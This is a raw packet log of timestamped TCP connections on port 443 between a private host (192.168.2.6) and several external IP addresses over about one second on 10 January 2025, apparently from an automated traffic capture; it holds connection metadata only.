Jan 10, 2025 00:51:39.215190887 CET	443	49810	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.215219021 CET	443	49810	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.215225935 CET	443	49810	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.215270042 CET	443	49810	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.215296984 CET	49810	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.215354919 CET	49810	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.217159986 CET	49810	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.217179060 CET	443	49810	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.241630077 CET	49799	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.311897993 CET	443	49811	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.311918974 CET	443	49811	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.311925888 CET	443	49811	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.311954021 CET	443	49811	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.311968088 CET	443	49811	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.311975956 CET	49811	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.312016964 CET	49811	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.314151049 CET	49811	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.314158916 CET	443	49811	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.321724892 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.321852922 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.321901083 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.321912050 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.322000980 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.322045088 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.322050095 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.322138071 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.322187901 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.322194099 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.322280884 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.322462082 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.322468996 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.367104053 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.375454903 CET	443	49821	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.387533903 CET	49821	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.387567997 CET	443	49821	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.388622999 CET	443	49821	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.388696909 CET	49821	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.392250061 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.392280102 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.392292023 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.392323971 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.392338037 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.392348051 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.392364979 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.392383099 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.392394066 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.392535925 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.392535925 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.394216061 CET	49821	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.394285917 CET	443	49821	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.394551992 CET	49821	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.394558907 CET	443	49821	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.396272898 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.396370888 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.396428108 CET	49799	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.407125950 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.407149076 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.407170057 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.407210112 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.407222033 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.407360077 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.409924030 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.437619925 CET	49821	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.438965082 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.439112902 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.439205885 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.439256907 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.439270973 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.439330101 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.439337015 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.439460993 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.439639091 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.439683914 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.439699888 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.439740896 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.439747095 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.443439007 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.443530083 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.443543911 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.453982115 CET	49799	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.453999996 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.458573103 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.458581924 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.458664894 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.466579914 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.466598034 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.466624022 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.466634989 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.466661930 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.466672897 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.466706991 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.466723919 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.483167887 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.493391037 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.493416071 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.493504047 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.493511915 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.493710995 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.494952917 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.494968891 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.495054007 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.495060921 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.495214939 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.496643066 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.496679068 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.496705055 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.496710062 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.496723890 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.496743917 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.496764898 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.496973991 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.496980906 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.507719994 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.528563023 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.528740883 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.528800011 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.528894901 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.528908014 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.528918028 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.528953075 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.556993008 CET	443	49824	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:39.557401896 CET	49824	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:39.557427883 CET	443	49824	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:39.558285952 CET	443	49824	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:39.558367968 CET	49824	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:39.559278011 CET	49824	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:39.559349060 CET	443	49824	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:39.559542894 CET	49824	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:39.559555054 CET	443	49824	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:39.568360090 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:39.568603992 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:39.568618059 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:39.569482088 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:39.569547892 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:39.569904089 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:39.569973946 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:39.570080042 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:39.570086956 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:39.605561972 CET	49824	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:39.616180897 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:39.631510019 CET	443	49821	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.631537914 CET	443	49821	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.631592035 CET	49821	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.631613970 CET	443	49821	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.631627083 CET	443	49821	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.631673098 CET	49821	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.643294096 CET	49821	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.643330097 CET	443	49821	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.658802032 CET	49839	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.658852100 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.659065962 CET	49839	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.659272909 CET	49839	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.659288883 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.660809040 CET	49840	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.660824060 CET	443	49840	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.660934925 CET	49840	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.661071062 CET	49840	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.661082983 CET	443	49840	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.665276051 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.665410042 CET	49841	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.665438890 CET	443	49841	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.665489912 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.665538073 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.665554047 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.665575027 CET	49841	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.665644884 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.665697098 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.665704012 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.665764093 CET	49841	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.665782928 CET	443	49841	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.665807009 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.665889978 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.665939093 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.665951967 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.666053057 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.666169882 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.666318893 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.666399956 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.666410923 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.666433096 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.666490078 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.666508913 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.667299032 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.667402983 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.667404890 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.667428970 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.667496920 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.667507887 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.667642117 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.667740107 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.667747974 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.668255091 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.668375969 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.668384075 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.680227995 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:39.680243969 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:39.680335045 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:39.680592060 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:39.680605888 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:39.716769934 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.838144064 CET	443	49827	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.838390112 CET	49827	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.838402033 CET	443	49827	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.838736057 CET	443	49827	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.839231014 CET	49827	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.839319944 CET	49827	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.839323997 CET	443	49827	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.858834982 CET	443	49826	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.859237909 CET	49826	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.859256983 CET	443	49826	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.859601974 CET	443	49826	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.859982014 CET	49826	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.860044956 CET	443	49826	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.860239983 CET	49826	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.879784107 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.880162001 CET	49828	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.880173922 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.881014109 CET	443	49829	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.881608009 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.881664991 CET	49828	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.881870985 CET	49829	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.881894112 CET	443	49829	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.882224083 CET	443	49829	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.882416010 CET	49828	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.882494926 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.882843018 CET	49829	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.882916927 CET	443	49829	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.883049965 CET	49828	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.883054972 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.883179903 CET	49829	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.883339882 CET	443	49827	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.885979891 CET	443	49831	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.886265993 CET	49831	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.886281013 CET	443	49831	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.886708021 CET	443	49831	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.887281895 CET	49831	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.887356043 CET	443	49831	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.887456894 CET	49831	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.888694048 CET	49843	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:39.888731956 CET	443	49843	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:39.888784885 CET	49843	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:39.889173031 CET	49843	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:39.889180899 CET	49827	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.889189959 CET	443	49843	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:39.893791914 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.893997908 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.894082069 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.894093037 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.894124031 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.894170046 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.894217968 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.894371986 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.894423008 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.894433022 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.894540071 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.894587994 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.894594908 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.894725084 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.894776106 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.894792080 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.894829035 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.894936085 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.894942999 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.894957066 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.895009995 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.895016909 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.895059109 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.895759106 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.895833015 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.895862103 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.896009922 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.896536112 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.896644115 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.896656990 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.896662951 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.896703005 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.896716118 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.897350073 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.897413969 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.897420883 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.897460938 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.897525072 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.897574902 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.898343086 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.898354053 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.907331944 CET	443	49826	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.907565117 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.908735991 CET	49830	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.908744097 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.912286997 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.912343979 CET	49830	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.915642977 CET	49830	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.915700912 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.915910959 CET	49830	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.915919065 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.923336029 CET	443	49829	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.931329012 CET	443	49831	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.932480097 CET	49828	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.932492971 CET	49831	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.973042965 CET	49830	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.018533945 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:40.018560886 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:40.018569946 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:40.018598080 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:40.018634081 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:40.018673897 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:40.018687010 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:40.018697023 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:40.018712044 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:40.018733025 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:40.101291895 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:40.101315975 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:40.101377010 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:40.101393938 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:40.101429939 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:40.101445913 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:40.101448059 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:40.101510048 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:40.101887941 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:40.101902962 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:40.109308958 CET	443	49826	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.109342098 CET	443	49826	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.109358072 CET	443	49826	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.109405041 CET	49826	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.109419107 CET	443	49826	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.109435081 CET	49826	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.109464884 CET	49826	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.110984087 CET	49826	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.110991955 CET	443	49826	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.113850117 CET	49845	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.113871098 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.113924026 CET	49845	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.114569902 CET	49845	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.114588022 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.117171049 CET	49846	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.117212057 CET	443	49846	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.117261887 CET	49846	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.117425919 CET	49846	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.117435932 CET	443	49846	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.126720905 CET	443	49827	38.165.16.38	192.168.2.6
